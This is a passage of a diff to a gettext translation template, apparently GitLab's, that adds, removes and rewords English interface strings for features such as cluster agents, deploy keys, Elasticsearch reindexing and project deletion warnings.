msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
